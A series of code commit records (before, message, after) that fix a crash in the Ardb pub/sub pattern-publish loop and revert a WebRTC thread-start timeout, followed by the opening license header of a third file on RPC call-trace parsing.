<commit_before>/*
 *Copyright (c) 2013-2014, yinqiwen <yinqiwen@gmail.com>
 *All rights reserved.
 *
 *Redistribution and use in source and binary forms, with or without
 *modification, are permitted provided that the following conditions are met:
 *
 *  * Redistributions of source code must retain the above copyright notice,
 *    this list of conditions and the following disclaimer.
 *  * Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 *  * Neither the name of Redis nor the names of its contributors may be used
 *    to endorse or promote products derived from this software without
 *    specific prior written permission.
 *
 *THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
 *AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 *IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
 *ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS
 *BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 *CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
 *SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
 *INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
 *CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
 *ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF
 *THE POSSIBILITY OF SUCH DAMAGE.
 */

#include "ardb.hpp"

namespace ardb
{
    int Ardb::SubscribeChannel(Context& ctx, const std::string& channel, bool notify)
    {
        ctx.GetPubsub().pubsub_channels.insert(channel);
        {
            WriteLockGuard<SpinRWLock> guard(m_pubsub_ctx_lock);
            m_pubsub_channels[channel].insert(&ctx);
        }

        if (notify && NULL != ctx.client)
        {
            RedisReply r;
            RedisReply& r1 = r.AddMember();
            RedisReply& r2 = r.AddMember();
            RedisReply& r3 = r.AddMember();
            fill_str_reply(r1, "subscribe");
            fill_str_reply(r2, channel);
            fill_int_reply(r3, ctx.GetPubsub().pubsub_channels.size() + ctx.GetPubsub().pubsub_patterns.size());
            ctx.client->Write(r);
        }
        return 0;
    }
    int Ardb::UnsubscribeChannel(Context& ctx, const std::string& channel, bool notify)
    {
        ctx.GetPubsub().pubsub_channels.erase(channel);
        WriteLockGuard<SpinRWLock> guard(m_pubsub_ctx_lock);
        PubsubContextTable::iterator it = m_pubsub_channels.find(channel);
        int ret = 0;
        if (it != m_pubsub_channels.end())
        {
            it->second.erase(&ctx);
            if (it->second.empty())
            {
                m_pubsub_channels.erase(it);
            }
            ret = 1;
        }
        if (notify && NULL != ctx.client)
        {
            RedisReply r;
            RedisReply& r1 = r.AddMember();
            RedisReply& r2 = r.AddMember();
            RedisReply& r3 = r.AddMember();
            fill_str_reply(r1, "unsubscribe");
            fill_str_reply(r2, channel);
            fill_int_reply(r3, ctx.GetPubsub().pubsub_channels.size() + ctx.GetPubsub().pubsub_patterns.size());
            ctx.client->Write(r);
        }
        return ret;
    }

    int Ardb::UnsubscribeAll(Context& ctx, bool notify)
    {
        if(NULL == ctx.pubsub)
        {
            return 0;
        }
        StringSet tmp = ctx.GetPubsub().pubsub_channels;
        StringSet::iterator it = tmp.begin();
        int count = 0;
        while (it != tmp.end())
        {
            count += UnsubscribeChannel(ctx, *it, notify);
            it++;
        }
        if (notify && count == 0 && NULL != ctx.client)
        {
            RedisReply r;
            RedisReply& r1 = r.AddMember();
            RedisReply& r2 = r.AddMember();
            RedisReply& r3 = r.AddMember();
            fill_str_reply(r1, "unsubscribe");
            r2.type = REDIS_REPLY_NIL;
            fill_int_reply(r3, ctx.GetPubsub().pubsub_channels.size() + ctx.GetPubsub().pubsub_patterns.size());
            ctx.client->Write(r);
        }
        return 0;
    }

    int Ardb::PSubscribeChannel(Context& ctx, const std::string& pattern, bool notify)
    {
        ctx.GetPubsub().pubsub_patterns.insert(pattern);
        {
            WriteLockGuard<SpinRWLock> guard(m_pubsub_ctx_lock);
            m_pubsub_patterns[pattern].insert(&ctx);
        }

        if (notify && NULL != ctx.client)
        {
            RedisReply r;
            RedisReply& r1 = r.AddMember();
            RedisReply& r2 = r.AddMember();
            RedisReply& r3 = r.AddMember();
            fill_str_reply(r1, "psubscribe");
            fill_str_reply(r2, pattern);
            fill_int_reply(r3, ctx.GetPubsub().pubsub_channels.size() + ctx.GetPubsub().pubsub_patterns.size());
            ctx.client->Write(r);
        }
        return 0;
    }
    int Ardb::PUnsubscribeChannel(Context& ctx, const std::string& pattern, bool notify)
    {
        ctx.GetPubsub().pubsub_patterns.erase(pattern);
        WriteLockGuard<SpinRWLock> guard(m_pubsub_ctx_lock);
        PubsubContextTable::iterator it = m_pubsub_patterns.find(pattern);
        int ret = 0;
        if (it != m_pubsub_patterns.end())
        {
            it->second.erase(&ctx);
            if (it->second.empty())
            {
                m_pubsub_patterns.erase(it);
            }
            ret = 1;
        }
        if (notify && NULL != ctx.client)
        {
            RedisReply r;
            RedisReply& r1 = r.AddMember();
            RedisReply& r2 = r.AddMember();
            RedisReply& r3 = r.AddMember();
            fill_str_reply(r1, "punsubscribe");
            fill_str_reply(r2, pattern);
            fill_int_reply(r3, ctx.GetPubsub().pubsub_channels.size() + ctx.GetPubsub().pubsub_patterns.size());
            ctx.client->Write(r);
        }
        return ret;
    }

    int Ardb::Subscribe(Context& ctx, RedisCommandFrame& cmd)
    {
        ctx.client->GetWritableOptions().max_write_buffer_size = (int32)(m_cfg.pubsub_client_output_buffer_limit);
        for (uint32 i = 0; i < cmd.GetArguments().size(); i++)
        {
            SubscribeChannel(ctx, cmd.GetArguments()[i], true);
        }
        return 0;
    }

    int Ardb::UnSubscribe(Context& ctx, RedisCommandFrame& cmd)
    {
        if (cmd.GetArguments().size() == 0)
        {
            UnsubscribeAll(ctx, true);
        }
        else
        {
            for (uint32 i = 0; i < cmd.GetArguments().size(); i++)
            {
                UnsubscribeChannel(ctx, cmd.GetArguments()[i], true);
            }
        }
        return 0;
    }
    int Ardb::PSubscribe(Context& ctx, RedisCommandFrame& cmd)
    {
        ctx.client->GetWritableOptions().max_write_buffer_size = (int32)(m_cfg.pubsub_client_output_buffer_limit);
        for (uint32 i = 0; i < cmd.GetArguments().size(); i++)
        {
            PSubscribeChannel(ctx, cmd.GetArguments()[i], true);
        }
        return 0;
    }
    int Ardb::PUnSubscribe(Context& ctx, RedisCommandFrame& cmd)
    {
        if (cmd.GetArguments().size() == 0)
        {
            PUnsubscribeAll(ctx, true);
        }
        else
        {
            for (uint32 i = 0; i < cmd.GetArguments().size(); i++)
            {
                PUnsubscribeChannel(ctx, cmd.GetArguments()[i], true);
            }
        }
        return 0;
    }

    int Ardb::PUnsubscribeAll(Context& ctx, bool notify)
    {
        if(NULL == ctx.pubsub)
        {
            return 0;
        }
        StringSet tmp = ctx.GetPubsub().pubsub_patterns;
        StringSet::iterator it = tmp.begin();
        int count = 0;
        while (it != tmp.end())
        {
            count += PUnsubscribeChannel(ctx, *it, notify);
            it++;
        }
        if (notify && count == 0 && NULL != ctx.client)
        {
            RedisReply r;
            RedisReply& r1 = r.AddMember();
            RedisReply& r2 = r.AddMember();
            RedisReply& r3 = r.AddMember();
            fill_str_reply(r1, "punsubscribe");
            r2.type = REDIS_REPLY_NIL;
            fill_int_reply(r3, ctx.GetPubsub().pubsub_channels.size() + ctx.GetPubsub().pubsub_patterns.size());
            ctx.client->Write(r);
        }
        return 0;
    }

    static void async_write_message(Channel* ch, void * data)
    {
        RedisReply* r = (RedisReply*) data;
        if(!ch->Write(*r))
        {
            ch->Close();
        }
        DELETE(r);
    }

    int Ardb::PublishMessage(Context& ctx, const std::string& channel, const std::string& message)
    {
        ReadLockGuard<SpinRWLock> guard(m_pubsub_ctx_lock);
        PubsubContextTable::iterator fit = m_pubsub_channels.find(channel);

        int receiver = 0;
        if (fit != m_pubsub_channels.end())
        {
            ContextSet::iterator cit = fit->second.begin();
            while (cit != fit->second.end())
            {
                Context* cc = *cit;
                if (NULL != cc && cc->client != NULL)
                {
                    RedisReply* r = NULL;
                    NEW(r, RedisReply);
                    RedisReply& r1 = r->AddMember();
                    RedisReply& r2 = r->AddMember();
                    RedisReply& r3 = r->AddMember();
                    fill_str_reply(r1, "message");
                    fill_str_reply(r2, channel);
                    fill_str_reply(r3, message);
                    cc->client->GetService().AsyncIO(cc->client->GetID(), async_write_message, r);
                    receiver++;
                }
                cit++;
            }
        }
        PubsubContextTable::iterator pit = m_pubsub_patterns.begin();
        while (pit != m_pubsub_patterns.end())
        {
            const std::string& pattern = pit->first;
            if (stringmatchlen(pattern.c_str(), pattern.size(), channel.c_str(), channel.size(), 0))
            {
                ContextSet::iterator cit = fit->second.begin();
                while (cit != fit->second.end())
                {
                    Context* cc = *cit;
                    if (NULL != cc && cc->client != NULL)
                    {
                        RedisReply* r = NULL;
                        NEW(r, RedisReply);
                        RedisReply& r1 = r->AddMember();
                        RedisReply& r2 = r->AddMember();
                        RedisReply& r3 = r->AddMember();
                        RedisReply& r4 = r->AddMember();
                        fill_str_reply(r1, "pmessage");
                        fill_str_reply(r2, pattern);
                        fill_str_reply(r3, channel);
                        fill_str_reply(r4, message);
                        cc->client->GetService().AsyncIO(cc->client->GetID(), async_write_message, r);
                        receiver++;
                    }
                    cit++;
                }
            }
            pit++;
        }
        return receiver;
    }

    int Ardb::Publish(Context& ctx, RedisCommandFrame& cmd)
    {
        const std::string& channel = cmd.GetArguments()[0];
        const std::string& message = cmd.GetArguments()[1];
        int count = 0;
        count += PublishMessage(ctx, channel, message);
        fill_int_reply(ctx.reply, count);
        return 0;
    }
}

<commit_msg>pattern publish results in a SIGSEGV fixes issue 101<commit_after>/*
 *Copyright (c) 2013-2014, yinqiwen <yinqiwen@gmail.com>
 *All rights reserved.
 *
 *Redistribution and use in source and binary forms, with or without
 *modification, are permitted provided that the following conditions are met:
 *
 *  * Redistributions of source code must retain the above copyright notice,
 *    this list of conditions and the following disclaimer.
 *  * Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 *  * Neither the name of Redis nor the names of its contributors may be used
 *    to endorse or promote products derived from this software without
 *    specific prior written permission.
 *
 *THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
 *AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 *IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
 *ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS
 *BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 *CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
 *SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
 *INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
 *CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
 *ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF
 *THE POSSIBILITY OF SUCH DAMAGE.
 */

#include "ardb.hpp"

namespace ardb
{
    int Ardb::SubscribeChannel(Context& ctx, const std::string& channel, bool notify)
    {
        ctx.GetPubsub().pubsub_channels.insert(channel);
        {
            WriteLockGuard<SpinRWLock> guard(m_pubsub_ctx_lock);
            m_pubsub_channels[channel].insert(&ctx);
        }

        if (notify && NULL != ctx.client)
        {
            RedisReply r;
            RedisReply& r1 = r.AddMember();
            RedisReply& r2 = r.AddMember();
            RedisReply& r3 = r.AddMember();
            fill_str_reply(r1, "subscribe");
            fill_str_reply(r2, channel);
            fill_int_reply(r3, ctx.GetPubsub().pubsub_channels.size() + ctx.GetPubsub().pubsub_patterns.size());
            ctx.client->Write(r);
        }
        return 0;
    }
    int Ardb::UnsubscribeChannel(Context& ctx, const std::string& channel, bool notify)
    {
        ctx.GetPubsub().pubsub_channels.erase(channel);
        WriteLockGuard<SpinRWLock> guard(m_pubsub_ctx_lock);
        PubsubContextTable::iterator it = m_pubsub_channels.find(channel);
        int ret = 0;
        if (it != m_pubsub_channels.end())
        {
            it->second.erase(&ctx);
            if (it->second.empty())
            {
                m_pubsub_channels.erase(it);
            }
            ret = 1;
        }
        if (notify && NULL != ctx.client)
        {
            RedisReply r;
            RedisReply& r1 = r.AddMember();
            RedisReply& r2 = r.AddMember();
            RedisReply& r3 = r.AddMember();
            fill_str_reply(r1, "unsubscribe");
            fill_str_reply(r2, channel);
            fill_int_reply(r3, ctx.GetPubsub().pubsub_channels.size() + ctx.GetPubsub().pubsub_patterns.size());
            ctx.client->Write(r);
        }
        return ret;
    }

    int Ardb::UnsubscribeAll(Context& ctx, bool notify)
    {
        if(NULL == ctx.pubsub)
        {
            return 0;
        }
        StringSet tmp = ctx.GetPubsub().pubsub_channels;
        StringSet::iterator it = tmp.begin();
        int count = 0;
        while (it != tmp.end())
        {
            count += UnsubscribeChannel(ctx, *it, notify);
            it++;
        }
        if (notify && count == 0 && NULL != ctx.client)
        {
            RedisReply r;
            RedisReply& r1 = r.AddMember();
            RedisReply& r2 = r.AddMember();
            RedisReply& r3 = r.AddMember();
            fill_str_reply(r1, "unsubscribe");
            r2.type = REDIS_REPLY_NIL;
            fill_int_reply(r3, ctx.GetPubsub().pubsub_channels.size() + ctx.GetPubsub().pubsub_patterns.size());
            ctx.client->Write(r);
        }
        return 0;
    }

    int Ardb::PSubscribeChannel(Context& ctx, const std::string& pattern, bool notify)
    {
        ctx.GetPubsub().pubsub_patterns.insert(pattern);
        {
            WriteLockGuard<SpinRWLock> guard(m_pubsub_ctx_lock);
            m_pubsub_patterns[pattern].insert(&ctx);
        }

        if (notify && NULL != ctx.client)
        {
            RedisReply r;
            RedisReply& r1 = r.AddMember();
            RedisReply& r2 = r.AddMember();
            RedisReply& r3 = r.AddMember();
            fill_str_reply(r1, "psubscribe");
            fill_str_reply(r2, pattern);
            fill_int_reply(r3, ctx.GetPubsub().pubsub_channels.size() + ctx.GetPubsub().pubsub_patterns.size());
            ctx.client->Write(r);
        }
        return 0;
    }
    int Ardb::PUnsubscribeChannel(Context& ctx, const std::string& pattern, bool notify)
    {
        ctx.GetPubsub().pubsub_patterns.erase(pattern);
        WriteLockGuard<SpinRWLock> guard(m_pubsub_ctx_lock);
        PubsubContextTable::iterator it = m_pubsub_patterns.find(pattern);
        int ret = 0;
        if (it != m_pubsub_patterns.end())
        {
            it->second.erase(&ctx);
            if (it->second.empty())
            {
                m_pubsub_patterns.erase(it);
            }
            ret = 1;
        }
        if (notify && NULL != ctx.client)
        {
            RedisReply r;
            RedisReply& r1 = r.AddMember();
            RedisReply& r2 = r.AddMember();
            RedisReply& r3 = r.AddMember();
            fill_str_reply(r1, "punsubscribe");
            fill_str_reply(r2, pattern);
            fill_int_reply(r3, ctx.GetPubsub().pubsub_channels.size() + ctx.GetPubsub().pubsub_patterns.size());
            ctx.client->Write(r);
        }
        return ret;
    }

    int Ardb::Subscribe(Context& ctx, RedisCommandFrame& cmd)
    {
        ctx.client->GetWritableOptions().max_write_buffer_size = (int32)(m_cfg.pubsub_client_output_buffer_limit);
        for (uint32 i = 0; i < cmd.GetArguments().size(); i++)
        {
            SubscribeChannel(ctx, cmd.GetArguments()[i], true);
        }
        return 0;
    }

    int Ardb::UnSubscribe(Context& ctx, RedisCommandFrame& cmd)
    {
        if (cmd.GetArguments().size() == 0)
        {
            UnsubscribeAll(ctx, true);
        }
        else
        {
            for (uint32 i = 0; i < cmd.GetArguments().size(); i++)
            {
                UnsubscribeChannel(ctx, cmd.GetArguments()[i], true);
            }
        }
        return 0;
    }
    int Ardb::PSubscribe(Context& ctx, RedisCommandFrame& cmd)
    {
        ctx.client->GetWritableOptions().max_write_buffer_size = (int32)(m_cfg.pubsub_client_output_buffer_limit);
        for (uint32 i = 0; i < cmd.GetArguments().size(); i++)
        {
            PSubscribeChannel(ctx, cmd.GetArguments()[i], true);
        }
        return 0;
    }
    int Ardb::PUnSubscribe(Context& ctx, RedisCommandFrame& cmd)
    {
        if (cmd.GetArguments().size() == 0)
        {
            PUnsubscribeAll(ctx, true);
        }
        else
        {
            for (uint32 i = 0; i < cmd.GetArguments().size(); i++)
            {
                PUnsubscribeChannel(ctx, cmd.GetArguments()[i], true);
            }
        }
        return 0;
    }

    int Ardb::PUnsubscribeAll(Context& ctx, bool notify)
    {
        if(NULL == ctx.pubsub)
        {
            return 0;
        }
        StringSet tmp = ctx.GetPubsub().pubsub_patterns;
        StringSet::iterator it = tmp.begin();
        int count = 0;
        while (it != tmp.end())
        {
            count += PUnsubscribeChannel(ctx, *it, notify);
            it++;
        }
        if (notify && count == 0 && NULL != ctx.client)
        {
            RedisReply r;
            RedisReply& r1 = r.AddMember();
            RedisReply& r2 = r.AddMember();
            RedisReply& r3 = r.AddMember();
            fill_str_reply(r1, "punsubscribe");
            r2.type = REDIS_REPLY_NIL;
            fill_int_reply(r3, ctx.GetPubsub().pubsub_channels.size() + ctx.GetPubsub().pubsub_patterns.size());
            ctx.client->Write(r);
        }
        return 0;
    }

    static void async_write_message(Channel* ch, void * data)
    {
        RedisReply* r = (RedisReply*) data;
        if(!ch->Write(*r))
        {
            ch->Close();
        }
        DELETE(r);
    }

    int Ardb::PublishMessage(Context& ctx, const std::string& channel, const std::string& message)
    {
        ReadLockGuard<SpinRWLock> guard(m_pubsub_ctx_lock);
        PubsubContextTable::iterator fit = m_pubsub_channels.find(channel);

        int receiver = 0;
        if (fit != m_pubsub_channels.end())
        {
            ContextSet::iterator cit = fit->second.begin();
            while (cit != fit->second.end())
            {
                Context* cc = *cit;
                if (NULL != cc && cc->client != NULL)
                {
                    RedisReply* r = NULL;
                    NEW(r, RedisReply);
                    RedisReply& r1 = r->AddMember();
                    RedisReply& r2 = r->AddMember();
                    RedisReply& r3 = r->AddMember();
                    fill_str_reply(r1, "message");
                    fill_str_reply(r2, channel);
                    fill_str_reply(r3, message);
                    cc->client->GetService().AsyncIO(cc->client->GetID(), async_write_message, r);
                    receiver++;
                }
                cit++;
            }
        }
        PubsubContextTable::iterator pit = m_pubsub_patterns.begin();
        while (pit != m_pubsub_patterns.end())
        {
            const std::string& pattern = pit->first;
            if (stringmatchlen(pattern.c_str(), pattern.size(), channel.c_str(), channel.size(), 0))
            {
                ContextSet::iterator cit = pit->second.begin();
                while (cit != pit->second.end())
                {
                    Context* cc = *cit;
                    if (NULL != cc && cc->client != NULL)
                    {
                        RedisReply* r = NULL;
                        NEW(r, RedisReply);
                        RedisReply& r1 = r->AddMember();
                        RedisReply& r2 = r->AddMember();
                        RedisReply& r3 = r->AddMember();
                        RedisReply& r4 = r->AddMember();
                        fill_str_reply(r1, "pmessage");
                        fill_str_reply(r2, pattern);
                        fill_str_reply(r3, channel);
                        fill_str_reply(r4, message);
                        cc->client->GetService().AsyncIO(cc->client->GetID(), async_write_message, r);
                        receiver++;
                    }
                    cit++;
                }
            }
            pit++;
        }
        return receiver;
    }

    int Ardb::Publish(Context& ctx, RedisCommandFrame& cmd)
    {
        const std::string& channel = cmd.GetArguments()[0];
        const std::string& message = cmd.GetArguments()[1];
        int count = 0;
        count += PublishMessage(ctx, channel, message);
        fill_int_reply(ctx.reply, count);
        return 0;
    }
}

<|endoftext|>


<commit_before>/*
 *  Copyright (c) 2012 The WebRTC project authors. All Rights Reserved.
 *
 *  Use of this source code is governed by a BSD-style license
 *  that can be found in the LICENSE file in the root of the source
 *  tree. An additional intellectual property rights grant can be found
 *  in the file PATENTS.  All contributing project authors may
 *  be found in the AUTHORS file in the root of the source tree.
 */

#include "webrtc/system_wrappers/source/thread_posix.h"

#include <algorithm>

#include <errno.h>
#include <unistd.h>
#ifdef WEBRTC_LINUX
#include <linux/unistd.h>
#include <sched.h>
#include <sys/prctl.h>
#include <sys/syscall.h>
#include <sys/types.h>
#endif

#include "webrtc/base/checks.h"
#include "webrtc/system_wrappers/interface/critical_section_wrapper.h"
#include "webrtc/system_wrappers/interface/event_wrapper.h"
#include "webrtc/system_wrappers/interface/sleep.h"
#include "webrtc/system_wrappers/interface/trace.h"

namespace webrtc {
namespace {
struct ThreadAttributes {
  ThreadAttributes() { pthread_attr_init(&attr); }
  ~ThreadAttributes() { pthread_attr_destroy(&attr); }
  pthread_attr_t* operator&() { return &attr; }
  pthread_attr_t attr;
};
}  // namespace

int ConvertToSystemPriority(ThreadPriority priority, int min_prio,
                            int max_prio) {
  DCHECK(max_prio - min_prio > 2);
  const int top_prio = max_prio - 1;
  const int low_prio = min_prio + 1;

  switch (priority) {
    case kLowPriority:
      return low_prio;
    case kNormalPriority:
      // The -1 ensures that the kHighPriority is always greater or equal to
      // kNormalPriority.
      return (low_prio + top_prio - 1) / 2;
    case kHighPriority:
      return std::max(top_prio - 2, low_prio);
    case kHighestPriority:
      return std::max(top_prio - 1, low_prio);
    case kRealtimePriority:
      return top_prio;
  }
  DCHECK(false);
  return low_prio;
}

struct ThreadPosix::InitParams {
  InitParams(ThreadPosix* thread)
      : me(thread), started(EventWrapper::Create()) {
  }
  ThreadPosix* me;
  rtc::scoped_ptr<EventWrapper> started;
};

// static
void* ThreadPosix::StartThread(void* param) {
  auto params = static_cast<InitParams*>(param);
  params->me->Run(params);
  return 0;
}

ThreadPosix::ThreadPosix(ThreadRunFunction func, ThreadObj obj,
                         ThreadPriority prio, const char* thread_name)
    : run_function_(func),
      obj_(obj),
      prio_(prio),
      stop_event_(true, false),
      name_(thread_name ? thread_name : "webrtc"),
      thread_id_(0),
      thread_(0) {
  DCHECK(name_.length() < kThreadMaxNameLength);
}

uint32_t ThreadWrapper::GetThreadId() {
  return rtc::CurrentThreadId();
}

ThreadPosix::~ThreadPosix() {
  DCHECK(thread_checker_.CalledOnValidThread());
}

bool ThreadPosix::Start(unsigned int& thread_id) {
  DCHECK(thread_checker_.CalledOnValidThread());
  DCHECK(!thread_id_) << "Thread already started?";

  ThreadAttributes attr;
  // Set the stack stack size to 1M.
  pthread_attr_setstacksize(&attr, 1024 * 1024);

  InitParams params(this);
  int result = pthread_create(&thread_, &attr, &StartThread, &params);
  if (result != 0)
    return false;

  // TODO(tommi): Change the timeout back to WEBRTC_EVENT_INFINITE when we've
  // figured out where we're seeing tests hang.
  auto state = params.started->Wait(30 * 1000);
  CHECK_EQ(kEventSignaled, state);
  DCHECK_NE(thread_id_, 0);

  thread_id = thread_id_;

  return true;
}

bool ThreadPosix::Stop() {
  DCHECK(thread_checker_.CalledOnValidThread());
  if (!thread_id_)
    return true;

  stop_event_.Set();
  CHECK_EQ(0, pthread_join(thread_, nullptr));
  thread_id_ = 0;
  stop_event_.Reset();

  return true;
}

void ThreadPosix::Run(ThreadPosix::InitParams* params) {
  thread_id_ = rtc::CurrentThreadId();
  params->started->Set();

  if (!name_.empty()) {
    // Setting the thread name may fail (harmlessly) if running inside a
    // sandbox. Ignore failures if they happen.
#if defined(WEBRTC_LINUX) || defined(WEBRTC_ANDROID)
    prctl(PR_SET_NAME, reinterpret_cast<unsigned long>(name_.c_str()));
#elif defined(WEBRTC_MAC) || defined(WEBRTC_IOS)
    pthread_setname_np(name_.substr(0, 63).c_str());
#endif
  }

#ifdef WEBRTC_THREAD_RR
  const int policy = SCHED_RR;
#else
  const int policy = SCHED_FIFO;
#endif
  const int min_prio = sched_get_priority_min(policy);
  const int max_prio = sched_get_priority_max(policy);
  if ((min_prio == -1) || (max_prio == -1)) {
    WEBRTC_TRACE(kTraceError, kTraceUtility, -1,
                 "unable to retreive min or max priority for threads");
  }

  if (max_prio - min_prio > 2) {
    sched_param param;
    param.sched_priority = ConvertToSystemPriority(prio_, min_prio, max_prio);
    if (pthread_setschedparam(pthread_self(), policy, &param) != 0) {
      WEBRTC_TRACE(
          kTraceError, kTraceUtility, -1, "unable to set thread priority");
    }
  }

  // It's a requirement that for successful thread creation that the run
  // function be called at least once (see RunFunctionIsCalled unit test),
  // so to fullfill that requirement, we use a |do| loop and not |while|.
  do {
    if (!run_function_(obj_))
      break;
  } while (!stop_event_.Wait(0));
}

}  // namespace webrtc
<commit_msg>Revert 8273 "Temporarily change ThreadPosix to CHECK (crash) if ..."<commit_after>/*
 *  Copyright (c) 2012 The WebRTC project authors. All Rights Reserved.
 *
 *  Use of this source code is governed by a BSD-style license
 *  that can be found in the LICENSE file in the root of the source
 *  tree. An additional intellectual property rights grant can be found
 *  in the file PATENTS.  All contributing project authors may
 *  be found in the AUTHORS file in the root of the source tree.
 */

#include "webrtc/system_wrappers/source/thread_posix.h"

#include <algorithm>

#include <errno.h>
#include <unistd.h>
#ifdef WEBRTC_LINUX
#include <linux/unistd.h>
#include <sched.h>
#include <sys/prctl.h>
#include <sys/syscall.h>
#include <sys/types.h>
#endif

#include "webrtc/base/checks.h"
#include "webrtc/system_wrappers/interface/critical_section_wrapper.h"
#include "webrtc/system_wrappers/interface/event_wrapper.h"
#include "webrtc/system_wrappers/interface/sleep.h"
#include "webrtc/system_wrappers/interface/trace.h"

namespace webrtc {
namespace {
struct ThreadAttributes {
  ThreadAttributes() { pthread_attr_init(&attr); }
  ~ThreadAttributes() { pthread_attr_destroy(&attr); }
  pthread_attr_t* operator&() { return &attr; }
  pthread_attr_t attr;
};
}  // namespace

int ConvertToSystemPriority(ThreadPriority priority, int min_prio,
                            int max_prio) {
  DCHECK(max_prio - min_prio > 2);
  const int top_prio = max_prio - 1;
  const int low_prio = min_prio + 1;

  switch (priority) {
    case kLowPriority:
      return low_prio;
    case kNormalPriority:
      // The -1 ensures that the kHighPriority is always greater or equal to
      // kNormalPriority.
      return (low_prio + top_prio - 1) / 2;
    case kHighPriority:
      return std::max(top_prio - 2, low_prio);
    case kHighestPriority:
      return std::max(top_prio - 1, low_prio);
    case kRealtimePriority:
      return top_prio;
  }
  DCHECK(false);
  return low_prio;
}

struct ThreadPosix::InitParams {
  InitParams(ThreadPosix* thread)
      : me(thread), started(EventWrapper::Create()) {
  }
  ThreadPosix* me;
  rtc::scoped_ptr<EventWrapper> started;
};

// static
void* ThreadPosix::StartThread(void* param) {
  auto params = static_cast<InitParams*>(param);
  params->me->Run(params);
  return 0;
}

ThreadPosix::ThreadPosix(ThreadRunFunction func, ThreadObj obj,
                         ThreadPriority prio, const char* thread_name)
    : run_function_(func),
      obj_(obj),
      prio_(prio),
      stop_event_(true, false),
      name_(thread_name ? thread_name : "webrtc"),
      thread_id_(0),
      thread_(0) {
  DCHECK(name_.length() < kThreadMaxNameLength);
}

uint32_t ThreadWrapper::GetThreadId() {
  return rtc::CurrentThreadId();
}

ThreadPosix::~ThreadPosix() {
  DCHECK(thread_checker_.CalledOnValidThread());
}

bool ThreadPosix::Start(unsigned int& thread_id) {
  DCHECK(thread_checker_.CalledOnValidThread());
  DCHECK(!thread_id_) << "Thread already started?";

  ThreadAttributes attr;
  // Set the stack stack size to 1M.
  pthread_attr_setstacksize(&attr, 1024 * 1024);

  InitParams params(this);
  int result = pthread_create(&thread_, &attr, &StartThread, &params);
  if (result != 0)
    return false;

  CHECK_EQ(kEventSignaled, params.started->Wait(WEBRTC_EVENT_INFINITE));
  DCHECK_NE(thread_id_, 0);

  thread_id = thread_id_;

  return true;
}

bool ThreadPosix::Stop() {
  DCHECK(thread_checker_.CalledOnValidThread());
  if (!thread_id_)
    return true;

  stop_event_.Set();
  CHECK_EQ(0, pthread_join(thread_, nullptr));
  thread_id_ = 0;
  stop_event_.Reset();

  return true;
}

void ThreadPosix::Run(ThreadPosix::InitParams* params) {
  thread_id_ = rtc::CurrentThreadId();
  params->started->Set();

  if (!name_.empty()) {
    // Setting the thread name may fail (harmlessly) if running inside a
    // sandbox. Ignore failures if they happen.
#if defined(WEBRTC_LINUX) || defined(WEBRTC_ANDROID)
    prctl(PR_SET_NAME, reinterpret_cast<unsigned long>(name_.c_str()));
#elif defined(WEBRTC_MAC) || defined(WEBRTC_IOS)
    pthread_setname_np(name_.substr(0, 63).c_str());
#endif
  }

#ifdef WEBRTC_THREAD_RR
  const int policy = SCHED_RR;
#else
  const int policy = SCHED_FIFO;
#endif
  const int min_prio = sched_get_priority_min(policy);
  const int max_prio = sched_get_priority_max(policy);
  if ((min_prio == -1) || (max_prio == -1)) {
    WEBRTC_TRACE(kTraceError, kTraceUtility, -1,
                 "unable to retreive min or max priority for threads");
  }

  if (max_prio - min_prio > 2) {
    sched_param param;
    param.sched_priority = ConvertToSystemPriority(prio_, min_prio, max_prio);
    if (pthread_setschedparam(pthread_self(), policy, &param) != 0) {
      WEBRTC_TRACE(
          kTraceError, kTraceUtility, -1, "unable to set thread priority");
    }
  }

  // It's a requirement that for successful thread creation that the run
  // function be called at least once (see RunFunctionIsCalled unit test),
  // so to fullfill that requirement, we use a |do| loop and not |while|.
  do {
    if (!run_function_(obj_))
      break;
  } while (!stop_event_.Wait(0));
}

}  // namespace webrtc
<|endoftext|>


<commit_before>// Copyright 2012 Google Inc.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
//     http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
// Implementation of RPC call-trace parsing.

